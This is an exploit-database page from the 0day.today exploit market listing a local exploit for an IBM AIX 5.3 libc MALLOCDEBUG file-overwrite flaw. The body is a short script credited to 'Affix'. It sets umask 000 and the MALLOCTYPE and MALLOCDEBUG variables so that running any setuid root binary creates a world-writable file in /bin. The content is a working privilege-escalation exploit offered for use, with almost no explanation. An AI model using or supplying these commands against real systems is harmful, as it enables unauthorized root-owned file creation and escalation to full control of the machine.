[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

IBM AIX 5.3 libc MALLOCDEBUG File Overwrite Vulnerability

Author
Affix
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-8037
Category
local exploits
Date add
29-07-2009
Platform
aix
=========================================================
IBM AIX 5.3 libc MALLOCDEBUG File Overwrite Vulnerability
=========================================================



#!/bin/bash
##################################################################
#[+] IBM AIX libc MALLOCDEBUG File Overwrite Vulnerability	 #
#[+] Refer : securitytracker.com/id?1022261                      #
#[+] Exploit : Affix                    			 #
#[+] Tested on : IBM AIX					 #
#[+] Greetz : Mad-Hatter, Atomiku, RTN, Terogen, SCD, Boxhead    #
# AIX 5.3 ML 5 is where this bad libc code was added.		 #
# Libs Affected :						 #
#	/usr/ccs/lib/libc.a					 #
#	/usr/ccs/lib/libp/libc.a				 #
##################################################################

Set the following environment variables:

umask 000
MALLOCTYPE=debug
MALLOCDEBUG=report_allocations,output:/bin/filename

echo "Now run any setuid root binary.. /bin/filename will be created with 777 permissions."



#  0day.today [2024-07-07]  #